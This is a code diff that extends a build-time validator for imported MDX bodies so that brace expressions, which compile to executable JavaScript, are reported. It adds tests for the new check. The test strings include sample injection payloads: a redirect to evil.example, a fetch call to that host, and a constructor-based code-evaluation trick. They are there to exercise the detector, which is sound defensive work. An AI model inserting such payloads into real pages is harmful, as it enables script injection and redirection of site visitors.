diff --git a/scripts/lib/mdx-active-content.mjs b/scripts/lib/mdx-active-content.mjs index 9b615f3a..7ed0ea44 100644 --- a/scripts/lib/mdx-active-content.mjs +++ b/scripts/lib/mdx-active-content.mjs @@ -8,6 +8,12 @@ * helper reports the constructs that can execute or load remote code so a * validator can fail the build before such a body ships. * + * MDX evaluates a braced expression as JavaScript, so `{fetch(...)}` in an + * imported body is live code and not prose; every `{` is therefore a finding + * unless it is one of the inert string-literal attributes the importer emits + * itself. The check is deliberately fail-closed: literal braces in upstream + * prose are reported rather than assumed harmless. + * * Scheme detection normalizes each line before testing it, because CommonMark * decodes character references in a link destination: `javascript:` is a * live `javascript:` href by the time the page renders. @@ -36,6 +42,24 @@ const ALLOWED_COMPONENT = 'CNCFProjectCard'; const ALLOWED_IMPORT = "import CNCFProjectCard from '@site/src/components/CNCFProjectCard';"; +/** + * The one expression form the importer itself emits: an attribute whose value + * is a single JSON string literal, as produced by `jsxAttribute` + * (`scripts/lib/jsx-attributes.mjs`). The pattern requires the closing brace + * to follow the closing quote immediately, so the braces can enclose nothing + * but the literal -- `{"a" + fetch(x)}` does not match. An expression whose + * entire body is a string literal evaluates to that string and has no call, + * member access or identifier reference available to it, so it is inert + * wherever it appears. + */ +const ALLOWED_ATTRIBUTE_EXPRESSION = + /(?<=\s)[A-Za-z_$][A-Za-z0-9_$-]*=\{"(?:[^"\\]|\\.)*"\}/g; + +/** + * Any remaining `{` opens an MDX expression, which is evaluated JavaScript. + */ +const EXPRESSION_PATTERN = /\{/; + const ELEMENT_PATTERN = /<\/?([A-Za-z][A-Za-z0-9._-]*)/g; const EVENT_HANDLER_PATTERN = /\bon[a-z]{3,}\s*=/gi; const DANGEROUS_URL_PATTERN = /(?:javascript|vbscript):|data:text\/html/gi; @@ -227,6 +251,22 @@ function blankInlineSpans(text) { return result; } +/** + * Neutralize the braces of the importer's own attribute expressions so the + * expression scan does not flag generated markup. Only the `{` and `}` + * characters are replaced, by a space each: the quoted value between them is + * left in place so the scheme, handler and element scans still read it, and + * the line keeps its length so findings keep accurate line numbers. + * + * @param {string} text + * @returns {string} + */ +function blankAllowedExpressions(text) { + return text.replace(ALLOWED_ATTRIBUTE_EXPRESSION, (match) => + match.replace(/[{}]/g, ' '), + ); +} + /** * Scans a Markdown/MDX body for content that executes or loads remote code. * @@ -236,7 +276,9 @@ function blankInlineSpans(text) { */ export function findActiveContent(markdown) { const findings = []; - const scannable = blankCodeSpans(String(markdown ?? '')); + const scannable = blankAllowedExpressions( + blankCodeSpans(String(markdown ?? '')), + ); const lines = scannable.split('\n'); lines.forEach((line, index) => { @@ -281,6 +323,13 @@ export function findActiveContent(markdown) { reason: 'unexpected ESM statement', snippet, }); + + if (EXPRESSION_PATTERN.test(line)) + findings.push({ + line: number, + reason: 'MDX expression', + snippet, + }); }); const seen = new Set(); diff --git a/tests/mdx-active-content.test.mjs b/tests/mdx-active-content.test.mjs index 6d8c76b4..89d03d1c 100644 --- a/tests/mdx-active-content.test.mjs +++ b/tests/mdx-active-content.test.mjs @@ -125,9 +125,11 @@ test('reports a live element hidden by a mismatched backtick run, not a code spa 'disallowed element `'), []); @@ -233,3 +235,63 @@ test('leaves an unrecognized named entity literal rather than dropping it', () = 'script-capable URL scheme', ]); }); + +test('flags an MDX expression, which Docusaurus compiles to executable JavaScript', () => { + assert.deepEqual( + reasons('{(() => { document.location = "https://evil.example"; })()}'), + ['MDX expression'], + ); + assert.deepEqual( + reasons('Body {globalThis.fetch("https://evil.example")}.'), + ['MDX expression'], + ); + assert.deepEqual(reasons('{[].constructor.constructor("return 1")()}'), [ + 'MDX expression', + ]); +}); + +test('flags the opening line of an expression that spans several lines', () => { + const body = ['{(() => {', ' fetch("https://evil.example");', '})()}'].join( + '\n', + ); + assert.deepEqual(findActiveContent(body), [ + { + line: 1, + reason: 'MDX expression', + snippet: '{(() => {', + }, + ]); +}); + +test('accepts the string-literal attribute expressions the importer emits', () => { + const card = + ' '; + assert.deepEqual(findActiveContent(card), []); +}); + +test('flags an attribute expression that is more than a string literal', () => { + assert.deepEqual( + reasons(''), + ['MDX expression'], + ); + assert.deepEqual(reasons(''), [ + 'MDX expression', + ]); +}); + +test('still scans the value inside an allowed attribute expression', () => { + // Only the braces are neutralized, so a script URI smuggled into a prop + // value is still reported rather than hidden by the allowance. + assert.deepEqual( + reasons(''), + ['script-capable URL scheme'], + ); +}); + +test('does not flag braces inside code, which MDX does not evaluate', () => { + assert.deepEqual(reasons('Run `kubectl get pods -o {.items}` to list.'), []); + assert.deepEqual( + reasons(['```json', '{ "replicas": 3 }', '```'].join('\n')), + [], + ); +});